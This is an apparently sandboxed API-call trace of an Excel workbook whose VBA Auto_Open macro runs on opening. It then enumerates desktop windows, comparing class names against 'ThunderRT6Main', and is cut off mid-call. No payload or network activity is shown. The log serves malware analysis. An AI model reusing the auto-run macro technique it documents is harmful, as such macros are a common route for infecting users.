[0069.263] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0069.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xafd9718, cbMultiByte=11, lpWideCharStr=0x4e1a188, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0069.264] malloc (_Size=0x90) returned 0xc43a340 [0069.264] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Open", cchWideChar=-1, lpMultiByteStr=0x17e900, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Open", lpUsedDefaultChar=0x0) returned 23 [0069.264] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0xb2ad830 [0069.264] strncpy_s (in: _Dst=0xb2ad830, _DstSize=0x18, _Src="[VBAProject].Auto_Open", _MaxCount=0x16 | out: _Dst="[VBAProject].Auto_Open") returned 0x0 [0069.264] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0069.264] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10) returned 0xb2ad810 [0069.264] qsort (in: _Base=0xb2ad810, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c | out: _Base=0xb2ad810) [0069.264] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0069.264] bsearch (_Key=0x17d818, _Base=0xb2ad810, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x0 [0069.264] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0069.265] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Open") returned 0x102056 [0069.265] bsearch (_Key=0x17d818, _Base=0xb2ad810, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee593219c) returned 0x0 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBA", cchCount2=-1) returned 1 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Excel", cchCount2=-1) returned 1 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="stdole", cchCount2=-1) returned 1 [0069.265] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Office", cchCount2=-1) returned 1 [0069.266] IMalloc:Free (This=0x7fefecb5380, pv=0xb2ad830) [0074.173] GetCapture () returned 0x0 [0074.173] GetCursorPos (in: lpPoint=0x18ef50 | out: lpPoint=0x18ef50*(x=287, y=329)) returned 1 [0074.173] WindowFromPoint (Point=0x1490000011f) returned 0x102f6 [0074.174] GetWindowThreadProcessId (in: hWnd=0x102f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0074.174] SendMessageA (hWnd=0x102f6, Msg=0x84, wParam=0x0, lParam=0x149011f) returned 0x1 [0074.174] SendMessageA (hWnd=0x102f6, Msg=0x20, wParam=0x102f6, lParam=0x2000001) returned 0x0 [0076.379] GetCurrentThreadId () returned 0xbdc [0076.379] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0076.379] GetDesktopWindow () returned 0x10010 [0076.379] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0076.379] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.379] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.379] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0076.380] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.380] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0076.380] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.380] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0076.380] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0076.380] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0076.380] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0076.380] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0076.380] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0076.380] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0076.380] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0076.380] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0076.380] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.380] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0076.380] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.380] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0076.380] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.380] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.380] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.380] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0076.380] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0076.381] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0076.381] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0076.381] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0076.381] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0076.381] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0076.381] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.381] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0076.381] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0076.381] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0076.381] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0076.381] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0076.381] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.381] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0076.381] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.381] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.382] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0076.382] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0076.382] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.382] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.382] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0076.382] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0076.382] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0076.382] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.382] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0076.382] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0076.382] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0076.382] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.382] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0076.382] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0076.382] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0076.382] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0076.382] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.382] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.382] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.382] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0076.382] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0076.382] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0076.382] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0076.382] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0076.383] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0076.383] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.383] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0076.383] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0076.383] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0076.383] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0076.383] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0076.383] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0076.383] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.383] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0076.383] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0076.383] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0076.383] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0076.383] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0076.383] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0076.383] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.383] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0076.383] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0076.383] IsWindowEnabled (hWnd=0x20360) returned 1 [0076.383] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0076.383] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0076.383] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0076.383] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0076.383] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0076.383] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.384] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0076.384] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0076.384] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0076.384] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0076.384] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0076.384] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0076.384] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.384] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0076.384] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0076.384] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0076.384] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0076.384] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0076.384] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.384] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0076.384] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0076.384] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0076.384] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0076.384] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0076.384] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.384] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0076.384] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0076.384] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0076.384] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0076.384] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0076.384] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0076.384] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.384] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0076.384] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0076.384] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0076.384] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0076.385] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0076.385] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0076.385] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0076.385] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0076.385] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.385] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0076.385] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0076.385] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0076.385] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0076.385] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0076.385] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.385] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0076.385] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.385] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0076.385] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0076.385] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0076.385] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0076.385] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0076.385] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0076.385] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.385] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0076.385] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0076.385] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0076.385] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0076.385] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0076.386] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0076.386] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0076.386] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.386] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0076.386] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0076.386] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0076.386] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0076.386] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0076.386] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.386] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0076.386] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.386] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0076.386] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0076.386] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0076.386] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.386] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0076.386] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0076.386] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0076.387] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0076.387] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0076.387] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.387] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.387] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0076.387] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0076.387] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0076.387] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0076.387] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0076.387] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0076.387] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0076.387] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0076.387] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0076.387] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0076.387] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.387] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.387] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0076.388] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0076.388] GetClassNameA (in: hWnd=0x10254, 